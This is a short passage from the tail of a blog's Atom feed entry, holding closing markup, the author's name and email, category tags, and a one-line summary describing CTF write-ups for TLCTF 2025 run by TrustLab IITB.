</code></pre></div></div>]]></content><author><name>0xEr3n</name><email>manu.shriyansh@gmail.com</email></author><category term="ctf" /><category term="challenge" /><category term="reversing" /><category term="web" /><category term="crypto" /><summary type="html"><![CDATA[writeups for tlctf 2025 organised by trustlab iitb.]]></summary></entry></feed>